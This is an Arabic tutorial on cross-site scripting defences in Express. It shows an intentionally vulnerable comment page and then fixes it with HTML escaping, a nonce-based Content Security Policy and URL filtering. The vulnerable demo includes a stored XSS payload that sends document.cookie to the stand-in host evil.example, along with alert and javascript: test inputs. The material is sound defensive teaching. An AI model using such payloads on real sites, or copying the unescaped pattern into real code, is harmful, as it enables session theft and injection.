الـ XSS والـ Content Security Policy: ما تخليش النص يتحوّل لـ code

import express from "express";

const app = express();
app.use(express.urlencoded({ extended: false }));
const comments = ["أول تعليق 👋"];

// ❌ النص بيتحط في الـ HTML زي ما هو
const page = (q) => `<!doctype html>
<h1>نتايج البحث عن: ${q}</h1>
<ul>${comments.map((c) => `<li>${c}</li>`).join("")}</ul>`;

app.get("/", (req, res) => res.send(page(req.query.q ?? "")));
app.post("/comments", (req, res) => {
  comments.push(req.body.text);
  res.redirect(303, "/");
});

app.listen(3000, () => console.log("http://localhost:3000"));

$ node server.js
http://localhost:3000

→ GET /?q=%3Cb%3E%D9%83%D9%84%D9%85%D8%A9%3C%2Fb%3E
← 200 OK
<!doctype html>
<h1>نتايج البحث عن: <b>كلمة</b></h1>
<ul><li>أول تعليق 👋</li></ul>

→ POST /comments
  text=%3Cscript%3Efetch('https%3A%2F%2Fevil.example%2F%3Fc%3D'%2Bdocument.cookie)%3C%2Fscript%3E
← 303 See Other
See Other. Redirecting to /

→ GET /
← 200 OK
<!doctype html>
<h1>نتايج البحث عن: </h1>
<ul><li>أول تعليق 👋</li><li><script>fetch('https://evil.example/?c='+document.cookie)</script></li></ul>

import express from "express";

const app = express();
app.use(express.urlencoded({ extended: false }));
const comments = ["أول تعليق 👋"];

// ✅ أي نص جاي من برّه بيتحوّل لحروف عادية قبل ما يدخل الـ HTML
const ESC = { "&": "&amp;", "<": "&lt;", ">": "&gt;", '"': "&quot;", "'": "&#39;" };
const escapeHtml = (s) => String(s).replace(/[&<>"']/g, (ch) => ESC[ch]);

const page = (q) => `<!doctype html>
<h1>نتايج البحث عن: ${escapeHtml(q)}</h1>
<ul>${comments.map((c) => `<li>${escapeHtml(c)}</li>`).join("")}</ul>`;

app.get("/", (req, res) => res.send(page(req.query.q ?? "")));
app.post("/comments", (req, res) => {
  comments.push(req.body.text);
  res.redirect(303, "/");
});

app.listen(3000, () => console.log("http://localhost:3000"));

$ node server.js
http://localhost:3000

→ GET /?q=%3Cb%3E%D9%83%D9%84%D9%85%D8%A9%3C%2Fb%3E
← 200 OK
<!doctype html>
<h1>نتايج البحث عن: &lt;b&gt;كلمة&lt;/b&gt;</h1>
<ul><li>أول تعليق 👋</li></ul>

→ POST /comments
  text=%3Cscript%3Efetch('https%3A%2F%2Fevil.example%2F%3Fc%3D'%2Bdocument.cookie)%3C%2Fscript%3E
← 303 See Other
See Other. Redirecting to /

→ GET /
← 200 OK
<!doctype html>
<h1>نتايج البحث عن: </h1>
<ul><li>أول تعليق 👋</li><li>&lt;script&gt;fetch(&#39;https://evil.example/?c=&#39;+document.cookie)&lt;/script&gt;</li></ul>

import express from "express";
import crypto from "node:crypto";

const app = express();

// ✅ CSP بـ nonce جديد في كل request: أي script من غير الـ nonce ده المتصفح مش هيشغّله
app.use((req, res, next) => {
  res.locals.nonce = crypto.randomBytes(16).toString("base64");
  res.set(
    "Content-Security-Policy",
    [
      "default-src 'self'",
      `script-src 'nonce-${res.locals.nonce}' 'strict-dynamic'`,
      "object-src 'none'",
      "base-uri 'none'",
      "frame-ancestors 'none'",
    ].join("; "),
  );
  next();
});

app.get("/", (req, res) => {
  res.send(`<!doctype html>
<script nonce="${res.locals.nonce}">console.log("script بتاعنا: هيشتغل")</script>
<script>console.log("script اتحقن: المتصفح هيرفضه")</script>
<button onclick="alert(1)">inline handler: مرفوض كمان</button>`);
});

app.listen(3000, () => console.log("http://localhost:3000"));

$ node server.js
http://localhost:3000

→ GET /
← 200 OK
  connection: keep-alive
  content-length: 265
  content-security-policy: default-src 'self'; script-src 'nonce-Kx7OgThf+KNXXojGCuvaLg==' 'strict-dynamic'; object-src 'none'; base-uri 'none'; frame-ancestors 'none'
  content-type: text/html; charset=utf-8
  etag: W/"109-lvrx4KsOpSXsVLGB0e2gqPuUR+c"
  keep-alive: timeout=5
  x-powered-by: Express
<!doctype html>
<script nonce="Kx7OgThf+KNXXojGCuvaLg==">console.log("script بتاعنا: هيشتغل")</script>
<script>console.log("script اتحقن: المتصفح هيرفضه")</script>
<button onclick="alert(1)">inline handler: مرفوض كمان</button>

import express from "express";
import crypto from "node:crypto";

const app = express();
const ESC = { "&": "&amp;", "<": "&lt;", ">": "&gt;", '"': "&quot;", "'": "&#39;" };
const escapeHtml = (s) => String(s).replace(/[&<>"']/g, (ch) => ESC[ch]);

class Raw {
  constructor(value) {
    this.value = value;
  }
}
const raw = (s) => new Raw(s);

function show(v) {
  if (v instanceof Raw) return v.value;
  if (Array.isArray(v)) return v.map(show).join("");
  if (v === null || v === undefined || v === false) return "";
  return escapeHtml(v);
}

function html(strings, ...values) {
  return raw(strings.reduce((out, s, i) => out + s + (i < values.length ? show(values[i]) : ""), ""));
}

function safeUrl(u) {
  try {
    const url = new URL(u);
    return url.protocol === "http:" || url.protocol === "https:" ? url.href : "#";
  } catch {
    return "#";
  }
}

app.use((req, res, next) => {
  res.locals.nonce = crypto.randomBytes(16).toString("base64");
  res.set(
    "Content-Security-Policy",
    `default-src 'self'; script-src 'nonce-${res.locals.nonce}'; object-src 'none'; base-uri 'none'`,
  );
  next();
});

app.get("/profile", (req, res) => {
  const { name = "", site = "" } = req.query;
  const tags = String(req.query.tags ?? "").split(",").filter(Boolean);
  const page = html`<h1>${name}</h1>
<a href="${safeUrl(site)}">الموقع</a>
<ul>${tags.map((t) => html`<li>${t}</li>`)}</ul>
<script nonce="${res.locals.nonce}">init()</script>`;
  res.type("html").send(page.value);
});

app.listen(3000, () => console.log("http://localhost:3000"));

$ node server.js
http://localhost:3000

→ GET /profile?name=%3Cscript%3Ealert(1)%3C%2Fscript%3E&site=javascript%3Aalert(1)&tags=api%2C%3Cb%3Edb%3C%2Fb%3E
← 200 OK
  connection: keep-alive
  content-length: 184
  content-security-policy: default-src 'self'; script-src 'nonce-iwZS53XLY5NqHLvUpQ/Pww=='; object-src 'none'; base-uri 'none'
  content-type: text/html; charset=utf-8
  etag: W/"b8-PD6wUuy0741FsSDSEdn7O8aH7Sg"
  keep-alive: timeout=5
  x-powered-by: Express
<h1>&lt;script&gt;alert(1)&lt;/script&gt;</h1>
<a href="#">الموقع</a>
<ul><li>api</li><li>&lt;b&gt;db&lt;/b&gt;</li></ul>
<script nonce="iwZS53XLY5NqHLvUpQ/Pww==">init()</script>

→ GET /profile?name=mona&site=https%3A%2F%2Fmona.dev&tags=api
← 200 OK
<h1>mona</h1>
<a href="https://mona.dev/">الموقع</a>
<ul><li>api</li></ul>
<script nonce="qRYZUuiPlBY1ER0w3bH4/w==">init()</script>